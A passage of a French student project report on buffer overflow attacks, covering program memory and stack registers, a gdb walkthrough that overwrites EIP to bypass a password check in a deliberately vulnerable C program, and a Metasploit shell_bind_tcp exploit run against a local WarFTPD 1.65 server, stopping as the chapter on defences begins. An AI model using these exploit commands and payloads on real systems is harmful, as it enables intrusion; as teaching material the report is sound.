DEDICACES

A mes chers parents, pour tous les sacrifices quils ont faits mon gard. Que ceci leurs soit une rcompense et un tmoignage de ma profonde gratitude.

A mon frre et ma sur, auxquels je souhaite tout le bonheur et le succs dans la vie. Quils trouvent ici la rcompense de leurs efforts et un tmoignage de mon profond amour.

A mes chers amis, pour leurs soutiens tout au long du projet. Quils trouvent ici le tmoignage de mon immense affection, lexpression de mon grand attachement.

Amine

REMERCIEMENTS

Cest avec le plus grand honneur que nous avons rserv cette page en signe de gratitude et de reconnaissance lgard de tous ceux qui nous ont aids, de prs ou de loin, la ralisation de ce prcieux projet de fin dtudes.

Tout dabord, nous sommes trs redevables notre encadreur Monsieur Mohamed Hamdi qui nous a permis de mener terme ce travail par son aide, ses prcieux conseils et sa bien vaillance qui ont fait preuve notre gard de comprhension.

Ensuite, nous tenons exprimer nos profondes gratitudes aux membres du jury qui nous ont fait lhonneur de juger ce travail de projet de fin dtudes.

Enfin, Nous remercions infiniment tous les enseignants et les cadres administratifs de IsetCom pour leur contribution notre formation.

TABLE DES MATIERES

Introduction gnrale.................................................................................................................. 5 Chapitre 1 : Etude technique de lattaque de Buffer Overflow .................................................. 2 Introduction ............................................................................................................................ 2 1. Organisation de la mmoire dun programme .................................................................... 2 2. La pile et ses diffrents registres ........................................................................................ 4 3. Lattaque Buffer Overflow et son principe......................................................................... 6 4. Diffrents Types dattaques de Buffer Overflow ............................................................... 7 4.1. Stack Overflow ............................................................................................................ 7 4.2. Heap Overflow ............................................................................................................. 8 5. Exemples dattaques de Buffer Overflow .......................................................................... 8 Conclusion ............................................................................................................................ 12 Chapitre 2 : Simulation de lattaque de Buffer Overflow ........................................................ 13 Introduction .......................................................................................................................... 13 1. Logiciels utiliss ............................................................................................................... 13 1.1. Metasploit .................................................................................................................. 13 1.2. Ollydbg ...................................................................................................................... 18 2. Excution de lattaque ...................................................................................................... 18 Conclusion ............................................................................................................................ 25 Chapitre 3 : Prventions et scurit contre lattaque de Buffer Overflow ............................... 26 Introduction .......................................................................................................................... 26 1. Les Fonctions scurises .................................................................................................. 26 2. Mcanismes de prvention contre lattaque de Buffer Overflow ..................................... 30 2.1. DEP (Data Execution Prevention) ............................................................................. 30 2.2. Protection via la mthode des canaris .................................................................. 30 2.3. ASLR ......................................................................................................................... 31 2.4. NX bit......................................................................................................................... 31 2.5. Introduction dAla dans la pile ................................................................................. 32 Conclusion ............................................................................................................................ 32 Conclusion gnrale ................................................................................................................. 33 BIBLIOGRAPHIE & NETOGRAPHIE .................................................................................. 34 ANNEXES ............................................................................................................................... 35 Annexe 1 : Fonctionnement normal dun programme.......................................................... 35 Annexes 2 : Serveur FTP ...................................................................................................... 40 GLOSSAIRE ............................................................................................................................ 41

Table Des Figures

Fig1. 1 : Structure du tas alloue pour lexcution dun programme ......................................... 3 Fig1. 2 : Structure de la mmoire physique ............................................................................... 3 Fig1. 3 : structure de la pile alloue pour lexcution dun programme .................................... 6

Fig2. 1 : Fentre principale de la plate-forme Metasploit ........................................................ 14 Fig2. 2 : La liste des commandes de Metasploit ...................................................................... 15 Fig2. 3: La liste des exploits disponible dans Metasploit ........................................................ 16 Fig2. 4 : La liste des payloads disponible dans Metasploit ...................................................... 16 Fig2. 5 : Accs aux informations sur notre exploit .................................................................. 17 Fig2. 6 : Accs aux informations de notre payload .................................................................. 18 Fig2. 7 : Fentre principale du serveur WarFTPD ................................................................... 19 Fig2. 8 : Les diffrents types disponibles pour notre exploit ................................................... 20 Fig2. 9 : Le choix du systme dexploitation de lapplication cible ........................................ 20 Fig2. 10: Excution de lexploit ............................................................................................... 21 Fig2. 11 : Attachement de lapplication WarFTPD avec OllyDbg .......................................... 22 Fig2. 12 : Visualisation des registres de la pile avant la rexcution de lexploit ................... 23 Fig2. 13 : Rexcution de lexploit .......................................................................................... 23 Fig2. 14 : Visualisation des registres de la pile aprs lexcution de lexploit ........................ 24

Fig3. 1: Excution du programme BUFFER2 .......................................................................... 27 Fig3. 2 : Visualisation des registres de la pile aprs lexcution du programme buffer2 ........ 28 Fig3. 3: Excution du programme buffer3 ............................................................................... 29 Fig3. 4 : Visualisation des registres de la pile aprs lexcution du programme buffer3 ........ 29

Introduction gnrale

Les attaques de Buffer Overflow prsentent actuellement le vecteur dattaques le plus courant dans les intrusions des systmes informatiques surtout pour les attaques distances. Les programmes deviennent maintenant de plus en plus gros en taille et de plus en complexe. La dialectique est implacable car plus un programme est gros, plus il est complexe, plus le risque derreurs augmente et donc plus il y a plus derreurs de scurit. Or lattaque de Buffer Overflow est fonde sur ce quon appelle les failles des programmes. Il est donc important den comprendre les fonctionnements et les mthodes employes par les attaquants malicieux pour les exploiter. Par consquent, des mthodes de protection, contre cette attaque, seront prsentes afin de trouver des solutions ce problme.

Notre projet est ralis dune faon dtaille et squentielle en 3 chapitres : Le premier chapitre portera sur letude technique de lattaque de Buffer Overflow. Le deuxime chapitre portera sur la simulation dune attaque Buffer Overflow.

Enfin, dans le troisime chapitre on prsentera les contres Mesures et Scurit contre Lattaque de Buffer Overflow.

Etude technique de lattaque Buffer Overflow

Chapitre 1 : Etude technique de lattaque de Buffer Overflow

Introduction
Dans ce premier chapitre, on va tudier lattaque de Buffer Overflow. Et pour cela, il est ncessaire de connatre quelques concepts des systmes dexploitation tels que lorganisation de la mmoire dans un programme et le rle de chaque segment de cette dernire.

1. Organisation de la mmoire dun programme

Quand un programme est excut, ses diffrents lments (instructions, variables) sont grs de manire structure. Chaque programme se dcompose en plusieurs sections principales :

La zone texte qui correspond aux codes du programme, c'est--dire les instructions de ce dernier. Cette zone est en lecture seule, elle est partage entre tous les processus qui excutent le mme fichier binaire.

La zone data qui stocke les donnes globales statiques initialises. La zone BSS qui regroupe les donnes globales statiques non initialises. La pile ou (Stack) qui stocke temporairement les donnes dynamiques et locales. Le tas ou (Heap): cest une autre partie de la mmoire globale du programme qui permet dallouer dynamiquement des zones mmoires pour les donnes. Les fonctions peuvent rserver une partie du heap grce la fonction malloc qui permet dallouer dynamiquement de la mmoire ces dernires.

Etude technique de lattaque Buffer Overflow

Voici un exemple du tas dun programme :

Fig1. 1 : Structure du tas alloue pour lexcution dun programme

Voici le schma gnral de lorganisation de la mmoire :

Fig1. 2 : Structure de la mmoire physique

On va voir quelques dclarations de variables et leur location en mmoire : int var1; // bss char var2[] = "buf1"; // data main(){ int var3; // stack

Etude technique de lattaque Buffer Overflow

static int var4; // bss static char var5[] = "buf2"; // data char * var6; // stack var6 = malloc(512); // heap } Les deux zones data et bss sont rserves et connues ds la compilation. Une variable locale statique (la dfinition de la variable est prcde du mot-cl static) initialise se retrouve dans la section data alors quune variable locale statique non initialise se retrouve dans la section bss. Les deux dernires zones sont dynamiques, c'est--dire que leur pourcentage d'utilisation et leur contenu varient tout au long de lexcution dun processus. Le programmeur dispose de la pile et du tas comme il le souhaite car, les buffers overflows crasent des parties de la pile ou du tas, selon le code du programme et nous avons dispos la plie dans notre travail.

2. La pile et ses diffrents registres

La pile (en anglais stack) est un emplacement mmoire o lon peut mettre (empiler), lire, modifier, enlever (dpiler) des lments, elle est une structure de donnes fonde sur le principe dernier arriv, premier sorti (ou LIFO pour Last In, First Out), ce qui veut dire que les derniers lments ajouts la pile seront les premiers tre rcuprs. Le fonctionnement est celui d'une pile d'assiettes : on ajoute des assiettes sur la pile, et on les rcupre dans l'ordre inverse, en commenant par la dernire ajoute aussi elle est utilise pour emmagasiner plusieurs valeurs, mais sa principale utilisation est de garder la trace de l'endroit o chaque fonction active doit retourner la fin de son excution. (Les fonctions actives sont celles qui ont t appeles, mais nont pas encore termin leur excution.) la fin de l'excution des instructions de la fonction, l'excution doit se continuer l'instruction du programme qui suit l'instruction qui a appel la fonction. Pour permettre le retour au programme qui a appel la fonction, linstruction d'appel de la fonction (l'instruction call) enregistre l'adresse de retour dans la pile. Lors de lexcution de linstruction ret qui marque la fin de la fonction, le processeur rcupre ladresse de retour quil a prcdemment stocke dans la pile et le processus peut continuer son excution cette adresse. En plus demmagasiner des adresses de retour, la pile dexcution emmagasine aussi dautres valeurs associes comme les variables locales de la fonction, les paramtres de la

Etude technique de lattaque Buffer Overflow

fonction, etc. Les variables et les paramtres dune fonction sont empils avant le dbut de la fonction et dpils la fin de la fonction. Lempilement sur la pile se fait dans le sens dcroissant contrairement aux zones mmoires qui se remplissent dans le sens croissant (de 0.0H F..FH). Lunit de base de la pile est le mot soit 4 octets, donc les variables qui y sont allous occupent des mots multiples de 4 octets. La pile se manipule essentiellement avec 2 instructions : PUSH reg : (empiler depuis le registre reg). Lorsque lon empile un lment sur la pile, ladresse contenue dans ESP est dcrmente de 4 octets. En effet, lorsque lon parcourt la pile de la base vers le sommet, les adresses dcroissent. POP reg : (dpiler vers le registre reg). Cette instruction incrmente de 4 octets la valeur dESP. Remarque : lorsque la pile est vide ESP pointe sous la pile (lemplacement mmoire endessous de la base de la pile) et un nouveau pop provoquera une erreur. Les registres SS et ESP sont deux registres servant grer la pile : SS (Stack Segment, dont la traduction est segment de pile) est un registre 16 bits contenant l'adresse du segment de pile courant. Il doit tre initialis au dbut du programme. ESP (Stack Pointer, littralement pointeur de pile) est le dplacement pour atteindre le sommet de la pile (16 bits de poids faible). Il pointe vers le sommet, c'est--dire sur le dernier bloc occup de la pile. Lorsque l'on ajoute un lment la pile, l'adresse contenue dans ESP est dcrmente de 2 octets (car un emplacement de la pile fait 16 bits de longueur). Par contre l'instruction POP incrmente de 2 octets (16 bits) la valeur dESP. Le registre EBP (Extended Base Pointer) est le pointeur qui contient ladresse de la base de la pile c'est--dire le dbut de lenvironnement de la fonction en cours. Le registre EIP (Extended Instruction Pointer) est le pointeur qui contient ladresse de retour. Il est modifi automatique `a chaque excution et peut tre manipul par des instructions du type jmp, call, ret, etc.

Etude technique de lattaque Buffer Overflow

EFLAGS contient des informations sur ltat du processeur. Le registre CS (Code Segment). Ce registre 16 bits contient le numro du segment mmoire dans lequel sont stocke les instructions assembleur du code excuter. On ne peut pas accder directement ce registre. Pour un programme donn, voici la structure de la pile :

Fig1. 3 : structure de la pile alloue pour lexcution dun programme

3. Lattaque Buffer Overflow et son principe

Pour comprendre le fonctionnement dun Buffer Overflow, il est indispensable de comprendre le fonctionnement des fonctions et de voir ce qui se passe normalement lors de lexcution dun programme. (Voir Annexe). Un buffer overflow ou (dbordement de tampon) est une attaque trs efficace et assez complique raliser. Elle vise exploiter une faille, une faiblesse dans une application (type browser, logiciel de mail, etc...) pour excuter un code arbitraire qui compromettra la cible (acquisition des droits administrateur,etc...). Buffer overflow est la situation qui se produit quand dans un programme lorsquon place dans un espace mmoire plus de donnes quil ne peut en contenir. Dans ce genre de situations, les donnes sont quand mme insres en mmoire mme si elles en crasent dautre quelles ne devraient pas. En effet, craser des donnes critiques du programme, amne gnralement le programme crasher. Ce simple fait est dj grave si lon pense des serveurs qui ne peuvent ainsi plus remplir leur tche. Plus grave, en crasant certaines donnes, on peut arriver prendre le contrle du programme ce qui peut savrer dsastreux si celui-ci tourne avec des

Etude technique de lattaque Buffer Overflow

droits privilgis par exemple. Or, certaines fonctions de lecture, telles que les fonctions strcpy () du langage C, ne grent pas ce type de dbordement et provoquent un plantage de l'application pouvant aboutir l'excution du code arbitraire et ainsi donner un accs au systme.

4. Diffrents Types dattaques de Buffer Overflow

Il nous est possible de distinguer deux catgories de buffer overflow : Dbordement dun buffer statique, Stack Overflow Dbordement dun buffer dynamique, Heap Overflow Afin de mieux comprendre la diffrence entre ces deux types de dbordement, il est ncessaire dacqurir quelques notions sur lallocation de la mmoire sur un systme dexploitation. Un programme a des besoins en mmoire quil peut adresser de plusieurs faons diffrentes. Donc les Buffers Overflow crasent des parties de la pile ou du tas selon le code du programme. Donc les Buffers Overflow crasent des parties de la pile ou du tas selon le code du programme. 4.1. Stack Overflow Dans la majeure partie des programmes, il y a des sous-programmes ou fonctions qui lorsquelles sont appeles, ont pour effet de mettre en pile les arguments pass celle-ci, suivi par ladresse de retour du programme principal. Ensuite les donnes propres la fonction sont aussi mises en pile (variables locales de celle-ci). Comme la plupart des programmes serveurs ou encore les stack de communication (TCP/IP) sont crit en C, et que lors de lexcution, aucun contrle nest opr sur la taille des paramtres pass en mmoire, il se peut que les paramtres passs dpassent la taille mmoire rserve dans la pile. Ces paramtres craseront alors des donnes utiles au systme dexploitation, comme ladresse de retour de la fonction ou procdure qui permettant au programme de continuer son excution. Le programme conserve toujours ladresse de la prochaine instruction (ladresse de retour) (RET en langage assembleur) qui doit tre excut sur la pile. Donc, si la taille des donnes est suprieure la taille du tampon, l'adresse de retour est alors crase et le programme lira une adresse mmoire invalide provoquant une faute de segmentation (en anglais segmentation fault) de l'application. Le But, plus techniquement, est de faire dborder un buffer pour craser une partie prcise de la Pile. Il en rsulte un saut vers notre code (shellcode).

Etude technique de lattaque Buffer Overflow

4.2. Heap Overflow Les Heap Overflow reprsentent les buffers Overflow situs dans les autres segments mmoires que la pile. Cette technique se base sur la faon dont sont allous puis librs les buffers en heap. Il est ncessaire de comprendre le fonctionnement de lallocation et dsallocation de la mmoire dynamique (instruction malloc() et free() en C). Contrairement la Stack qui fonctionne suivant le mode LIFO (Last In First Out), le Heap ne suit aucune rgle. Cela reprsente simplement un espace mmoire o sont stockes les variables alloues avec la fonction "malloc()". Cette fonction renvoie donc un pointeur sur notre espace mmoire. Cette zone est exclusivement rserve aux donnes, aucun registre ni est stock. Les heap overflows sont difficiles exploiter et sont plus courants dans Windows du fait quils contiennent plus de donnes qui peuvent tre exploites.

5. Exemples dattaques de Buffer Overflow

Cet exemple permet de mieux comprendre les techniques invoques pour lutilisation de buers overow. Soit le programme en C suivant : #include stdio.h #include stdlib.h void gestion () { printf ("Bravo vous tes dans la partie autoris\n"); exit (0); } int main (int argc, char *argv[]) { char pwd[10]; printf("Password: "); scanf("%s", &pwd); if (!strcmp (pwd, "toto")) { gestion () ;} else{ printf ("Password invalide! \n") ;} return 0;} 8

Etude technique de lattaque Buffer Overflow

Le but de cet exemple est doutrepasser lauthentification par Buffer Overflow et datterrir la fonction gestion. Dans ce programme linstruction vulnrable est scanf () car elle attend une entre clavier puis la stocke dans la variable pwd qui est un tableau de 10 octets soit 10 caractres. Cette fonction ne contrle pas la taille des donnes donner. Et puisque le mot (4octets) est lunit de la pile, donc pour stocker les 10 octets de notre tableau il nous faut 3 mots (12 octets).Dou la possibilit de raliser lattaque en stockant 14 octets au lieu de 10 octets si nous voulons craser le registre EBP, tant donn que ce dernier se trouve directement au dessus des variables locales du programme et aussi directement au dessous du registre EIP qui pointe vers ladresse de retour. Autrement dit ladresse la quelle va pointer le registre EIP aprs lexcution de ce programme. . Et comme lunit dans la pile est de 4 octets donc en stockant 18 octets au lieu de 10 octets on va craser le registre EIP (celui qui nous intresse). Pour sauter sur la fonction gestion, il nous faut son adresse. Et pour trouver cette adresse, nous allons utiliser le GNU Debugger galement appel gdb qui nous permet de dboguer un programme en cours d'excution (en droulant ce dernier instruction par instruction).On commence par faire un disass (dissasemble) sur le main (programme principal) pour voir comment il est constitu. (gdb) disass main Dump of assembler code for function main: 0x0804851b <main+0>: push %ebp 0x0804851c <main+1>: mov %esp, %ebp 0x0804851e <main+3>: sub $0x1c, %esp 0x08048521 <main+6>: movl $0x804867b,(%esp) 0x08048528 <main+13>: call 0x80483f0 <printf@plt> 0x0804852d <main+18>: lea 0xa (%ebp), %eax 0x08048530 <main+21>: mov %eax,0x4(%esp) 0x08048534 <main+25>: movl $0x8048686, (%esp) 0x0804853b <main+32>: call 0x80483e0 <scanf@plt> 0x08048540 <main+37>: movl $0x8048689, 0x4(%esp) 0x08048548 <main+45>: lea 0xa(%ebp),%eax 0x0804854b <main+48>: mov %eax,(%esp) 0x0804854e <main+51> : call 0x8048410 <strcmp@plt> <====Ici l'appel de la fonction strcmp

Etude technique de lattaque Buffer Overflow

0x08048553 <main+56>: test %eax,%eax <====Ici le test du password 0x08048555 <main+58>: jne 0x804855e <main+67> <====Si password faux on saute l'adresse 0x804855e 0x08048557 <main+60> : call 0x80484e4 <gestion> <====Sinon on appelle la fonction gestion l'adresse 0x80484e4. Voil l'adresse sur laquelle on va devoir sauter. 0x0804855c <main+65>: jmp 0x8048583 <main+104> 0x0804855e <main+67>: mov 0x804a040, %eax 0x08048563 <main+72>: mov %eax, 0xc (%esp) 0x08048567 <main+76>: movl $0x13, 0x8(%esp) 0x0804856f <main+84>: movl $0x1,0x4(%esp) 0x08048577 <main+92>: movl $0x804868e,(%esp) 0x0804857e <main+99>: call 0x8048400 <fwrite@plt> 0x08048583 <main+104>:mov $0x0,%eax 0x08048588 <main+109>:leave 0x08048589 <main+110>: ret End of assembler dump. Aprs avoir effectu un dsassemblage du programme, commenons par tester notre en stockant 14 octets au lieu de 10 octets pour le password avec gdb. (gdb) r Starting program: /home/submit/all/prog/c/buffer/gestion/main Password: aaaaaaaaaaaaaa Password invalide! Program received signal SIGSEGV, Segmentation fault. 0xb7eff606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6 (gdb) i r <=== Donne une information sur les registres (Infos Register) eax 0x00 ecx 0x1319 edx 0xb80440dc 1207680804 ebx 0xb8042ff4 1207685132 esp 0xbfa74f80 0xbfa74f80 ebp 0x61616161 0x61616161 <===Comme prvu avec 14 octets soit 4 de plus ebp a t cras

10

Etude technique de lattaque Buffer Overflow

esi 0x80485a0 134514080 edi 0x8048430 134513712 eip 0xb7eff606 0xb7eff606 <__libc_start_main+102>

Testons maintenant notre programme en stockant 18 octets de donnes au lieu de 10 octets afin dcraser le registre EIP.

(gdb) r The program being debugged has been started already. Starting program: /home/submit/all/prog/c/buffer/gestion/main Password: aaaaaaaaaaaaaaaaaa Password invalide! Program received signal SIGSEGV, Segmentation fault. 0x61616161 in ?? () <================== EIP ne sait plus o pointer ! (gdb) i r eax 0x0 0 ecx 0x13 19 edx 0xb80920dc 1207361316 ebx 0xb8090ff4 1207365644 esp 0xbf9c46d0 0xbf9c46d0 ebp 0x61616161 0x61616161 <===== ebp cras ! esi 0x80485a0 134514080 edi 0x8048430 134513712 eip 0x61616161 0x61616161 <===== EIP cras comme prvu avec les 4 autres octets supplmentaires. Le but pour doutrepasser cette scurit par buffer overflow est de profiter de l'crasement dEIP pour sauter o l'on veut dans le programme. Ici on va sauter bien entendu dans la fonction gestion donc a l'adresse 0x80484e4.Et pour ce faire, on va insrer 14 octets de donnes suivi de 4 octets qui correspondent ladresse de la fonction gestion. Cette dernire qui a pour valeur 0x80484e4 sera crite l'envers vu que sur la pile on empile.

11

Etude technique de lattaque Buffer Overflow

Excutons notre programme en console : submit@submitlaptop:~/$echo -e"aaaaaaaaaaaaaa\xe4\x84\x04\x08" |. /main Password invalide ! Password : Bravo vous tes dans la partie autorise submit@submitlaptop:~/$ Notre programme bien profit de l'crasement dEIP pour sauter sur la fonction gestion et nous afficher son contenu.

Conclusion
Dans ce premier chapitre, on a tudi lattaque de Buffer Overflow du point de vue technique. Ceci nous a permis de comprendre le principe de fonctionnement de cette attaque pour passer laspect application de cette dernire et voir les mthodes dexploitation utilises pour prendre le contrle dune machine.

12

Simulation de lattaque de Buffer Overflow

Chapitre 2 : Simulation de lattaque de Buffer Overflow

Introduction
Dans le premier chapitre, on a tudi lattaque de Buffer Overflow de point de vue technique. On va maintenant raliser cette attaque ou plutt simuler cette attaque pour voir ce qui se passe rellement au niveau des registres de la pile.

1. Logiciels utiliss
1.1. Metasploit Metasploit est une plateforme d'attaque base sur l'utilisation d'exploits afin d'accder un systme distant. Metasploit est crit principalement en perl (pour la version 2, la v3 utilisera le langage Ruby). Elle offre actuellement (v3.2-release) 320 exploits et 217 payloads ("charges" ou "shellcodes"). Il y a des exploits pour Linux, Windows, Solaris, mais aussi pour des applications comme IIS, Unreal Tournament, Arkeia Backup, etc... Le principe est d'avoir dissoci l'exploit en deux parties : l'exploit en lui mme et le payload. L'exploit sert dtourner une application de son utilisation normale, de profiter d'une faille dans celle-ci afin d'excuter du code arbitraire. Ce code arbitraire est le payload dans Metasploit. L'norme avantage d'avoir dissoci l'exploit du payload est de pouvoir utiliser le payload que l'on souhaite avec l'exploit voulu. Ainsi, avec le mme exploit, on peut avoir un shell qui coute sur un port de la machine attaque jusqu' un agent metasploit install qui permet des actions beaucoup plus complexes qu'un shell, en passant par un accs VNC sur la machine. Les exploits sont crits en perl, ce qui permet d'en rajouter extrmement facilement, en se basant sur ceux crits en C par exemple. Metasploit est un projet open-source sur la scurit informatique qui fournit des informations sur des vulnrabilits, aide la pntration de systmes informatiss et au dveloppement de signatures pour les IDS. Le plus connu des sous-projets est le Metasploit Framework, un outil pour le dveloppement et l'excution d'exploits contre une machine distante. Cest un environnement complet pour crire, tester et utiliser des exploits. Les tapes basiques pour l'exploitation d'un systme sont :

13

Simulation de lattaque de Buffer Overflow

Choisir et configurer un exploit (code permettant de pntrer un systme cible en profitant de l'un de ses bogues ; environs 200 exploits sont disponibles pour les systmes Windows, Unix/Linux et Mac OS X) ; Vrifier si le systme cible vise est sensible l'exploit choisi ; Choisir et configurer un payload (code qui s'excutera aprs s'tre introduit dans la machine cible, par exemple pour avoir accs un shell distant ou un serveur VNC) ; Excuter l'exploit.

Cette modularit qui permet de combiner n'importe quel exploit avec n'importe quel payload est l'avantage majeur du Framework : il facilite la tche de l'attaquant, des dveloppeurs d'exploits, et des dveloppeurs de payloads. Une fois Metasploit install, on dispose de 3 environnements de travail, msfconsole, linterface msfgui et msfweb. Dans tous les cas, la principale zone de travail et la prfrable pour Metasploit est msfconsole .Cest une interface en lignes de commandes efficace qui possde son propre jeu de commandes et denvironnements systmes. Voici la figure quon retrouve lorsquon clique sur msfconsole :

Fig2. 1 : Fentre principale de la plate-forme Metasploit

Maintenant, le prompt de commandes (msf>) de la msfconsole est actif. La console est trs flexible, et si lutilisateur entre nimporte quelle commande non reconnue, elle cherchera dans

14

Simulation de lattaque de Buffer Overflow

le PATH de lenvironnement pour un excutable correspondant. Si un fichier correspondant est trouv, il est excut comme avec un prompt de commandes standard. Instinctivement, en tapant la commande help, lon obtient une liste des commandes disponibles comme prsent en Figure2.

Fig2. 2 : La liste des commandes de Metasploit

La commande show exploits liste les exploits disponibles. Il y a des exploits distance pour diffrentes plateformes et applications comme Windows, Linux, IIS, Apache, etc, qui aident tester la flexibilit et comprendre le fonctionnement du MSF. Cela est montr en Figure 3, cidessous :

15

Simulation de lattaque de Buffer Overflow

Fig2. 3: La liste des exploits disponible dans Metasploit

Pour lister les payloads prsents, excutez la commande show payloads. Les payloads sont soigns, efficaces et trs bien crits. Ces payloads accomplissent un trs grand nombre de tches, comme lancer un shell invers sur un port en coute, ajouter de nouveaux comptes utilisateurs, ou uploader et excuter le programme de votre choix. MSF supporte mme la cration de payloads dynamiques, en utilisant la librairie InlineEgg comme montr en Figure4.

Fig2. 4 : La liste des payloads disponible dans Metasploit

16

Simulation de lattaque de Buffer Overflow

Les informations spcifiques un exploit peuvent tre consultes avec la commande info exploit nom_exploit qui fournit des informations comme les cibles disponibles, les choses ncessaires lexploit, les dtails de la vulnrabilit elle-mme, et mme des rfrences o vous pouvez trouver plus dinformations Cela est montr en Figure 5 :

Fig2. 5 : Accs aux informations sur notre exploit

De la mme manire, des informations sur un payload spcifique peuvent tre obtenues avec la commande info payload nom_payload, comme montr en Figure 6 :

17

Simulation de lattaque de Buffer Overflow

Fig2. 6 : Accs aux informations de notre payload

1.2. Ollydbg OllyDbg est un dbogueur 32-bits gratuit. Ce dbogueur est dot d'un module de dsassemblage rcursif avec une analyse du code dsassembl a contrario de dbogueurs qui utilisent un module de dsassemblage balayage statique o le code assembleur est dsassembl sans que le contexte de ce dernier soit analys. OllyDbg dispose de manire basique des fonctionnalits couramment vues sur les autres dbogueurs tels que l'excution en pas--pas, la pose de points d'arrt (Breakpoints) conditionns ou non, le trace de code, la surveillance ou la modification d'objets divers (mmoire, registres, code, etc.). Dans notre cas, c'est--dire pour lattaque de buffer overflow, Ollydbg servira nous montrer lvolution des registres au niveau de la pile (EBP et ESP) ainsi que le registre EIP.

2. Excution de lattaque
Pour utiliser un exploit sur Metasploit, on doit choisir une cible (application) sur laquelle on va tester lattaque. Ce logiciel dispose dun nombre dexploits pr enregistrs qui se trouvent sous le rpertoire Metasploit/Freamwork/Modules/Exploits . Dans notre cas, on va exploiter une vulnrabilit sur WarFTPD version 1.65.Ce dernier tant un serveur FTP sur Windows (Voir Annexe 2). Donc pour rsumer, lattaque de Buffer Overlow quon va raliser va affecter le bon fonctionnement du serveur et raliser le code souhait.

18

Simulation de lattaque de Buffer Overflow

On commence par dmarrer le serveur FTP sur notre machine Windows et on clique sur le bouton ("Go Online/Offline").

Fig2. 7 : Fentre principale du serveur WarFTPD

Le serveur WarFTPD est lanc (coutant sur le port tcp 21 par dfaut). Une fois cette tape finie, on lance maintenant la console de Metasploit pour excuter lattaque qui affecte WarFTPD (version 1.65).Et on peut voir tous les exploits qui sont disponibles grce la commande show exploits comme on a vue prcdemment (fig3). On peut maintenant voir lexploit quon cherche .Dans notre cas on en a deux disponibles pour notre cible. On va choisir le deuxime exploit qui exploite une vulnrabilit au niveau de la commande dutilisateur. Toutefois, on peut crer notre propre exploit si on en a besoin.

19

Simulation de lattaque de Buffer Overflow

Fig2. 8 : Les diffrents types disponibles pour notre exploit

Et pour pouvoir utiliser cet exploit on lance quelques commandes sur la console : Use Windows/ftp/warfpd_165_user Set RHOST 127.0.0.1 Set Target 2 Set payload gneric/shell_bind_tcp Exploit La premire commande (use windows/ftp/wartfpd_165_user) permet de slectionner lexploit quon veut utiliser. La deuxime commande (set Rhost 127.0.0.1) sert paramtrer ladresse IP du serveur cible Dans notre cas, ladresse IP choisie correspond celle de la machine sur laquelle nous travaillons tant donn quon va excuter lattaque localement (localhost) et non sur un serveur distant. La troisime commande (set target 2) permet de slectionner le systme dexploitation de notre cible (pour notre cas cest notre machine elle mme) et qui est compatible avec lexploit quon va utiliser. Et grce la commande show targets , on peut voir les systmes dexploitation qui sont compatibles avec notre exploit.

Fig2. 9 : Le choix du systme dexploitation de lapplication cible

Et comme notre ordinateur est quip dun systme dexploitation Windows XP SP2 English, donc on a choisi la cible 2 et ceci grce la commande (set target 2). On arrive maintenant lavant dernire commande qui est une commande trs importante puisquelle permet de dfinir le code qui sexcutera dans la machine cible. Les payloads se situent sous le rpertoire Metasploit/FreamWok/Modules/Payloads .

20

Simulation de lattaque de Buffer Overflow

Pour notre exploit, on a choisi le payload suivant generic/shell_bind_tcp qui va couter sur le port utilis par le serveur FTP (port 21) et gnrer un bogue dans le processus de la cible. Et pour finir, la dernire commande (exploit) va excuter lexploit dont on vient de configurer.

Fig2. 10: Excution de lexploit

Aprs quelques secondes de lexcution de lattaque, on voit licne du serveur WarFTPD disparatre, le serveur sest plant, donc on a russi notre exploit. Maintenant pour comprendre ce qui sest pass exactement pour que le serveur plante, on a besoin dun dbogueur. On commence tout dabord par relancer WarFTPD et on attache notre dbogueur celui-ci. Pour ce faire on ouvre OllyDbg, dans le menu principal on clique sur file puis sur Attach On choisit le processus WarFTPD et on clique sur Attach.

21

Simulation de lattaque de Buffer Overflow

Fig2. 11 : Attachement de lapplication WarFTPD avec OllyDbg

Une fois quil est lanc, on appuie sur F9 pour obtenir ltat Running qui va nous permettre de voir instantanment tout changement qui se produit au niveau des registres avant et aprs lexcution de lexploit. On commence par voir lapplication avant lexploit pour voir ce qui a chang exactement aprs.

22

Simulation de lattaque de Buffer Overflow

Fig2. 12 : Visualisation des registres de la pile avant la rexcution de lexploit

Puis on revient vers la console de Metasploit relancer notre exploit, et ceci est fait partir de la commande rexploit .

Fig2. 13 : Rexcution de lexploit

23

Simulation de lattaque de Buffer Overflow

Une fois relanc, on revient directement OllyDbg pour voir ce qui sest pass au niveau des registres.

Fig2. 14 : Visualisation des registres de la pile aprs lexcution de lexploit

La premire chose quon remarque est quOllyDbg nous indique quil y a eu une violation daccs lors de lexcution de linstruction se trouvant dans une adresse mmoire qui a pour valeur 71AB9372.Et par ailleurs, le pointeur dinstructions (EIP) pointe vers cette adresse. Or cette dernire nexiste pas rellement, le registre EIP a t cras avec cette adresse, lexploit nous a permis dcraser cette valeur afin de se positionner vers la partie du code de notre exploit. Et donc, lattaque de Buffer Overflow bien russi et lexploit a gnr un bogue dans le processus de lapplication WarFTPD.

24

Simulation de lattaque de Buffer Overflow

Conclusion
Dans ce chapitre, on a ralis un test de lattaque de Buffer Overflow et ceci travers la plateforme Metasploit qui nous a permis de voir les diffrentes tapes faire (choisir lapplication sur laquelle on va raliser lattaque, choisir le payload et lexploit adquat pour ce programme, vrifier si le systme dexploitation est compatible avec lexploit choisi, excuter) afin daboutir une attaque de dpassement de tampon. Et grce au dbogueur OllyDbg, on a pu voir lcrasement du registre EIP aprs lattaque, ce qui a permis de raliser lexploit en provocant un bogue dans le serveur FTP.

25

Prventions et scurit contre lattaque de Buffer Overflow

Chapitre 3 : Prventions et scurit contre lattaque de Buffer Overflow

Introduction
Comme on a vu dans les chapitres prcdents, les attaques de Buffer Overlow sont dues certaines fonctions telles que (strcpy(), scanf(), gets(), strcat().) Ce qui cause des dpassements de tampons (Buffer Overlow) et donc crer un danger potentiel dexploitation malveillante .Dans ce chapitre, on va lucider quelques mthodes et mcanismes de protection qui permettent de diminuer le risque dattaque.

1. Les Fonctions scurises

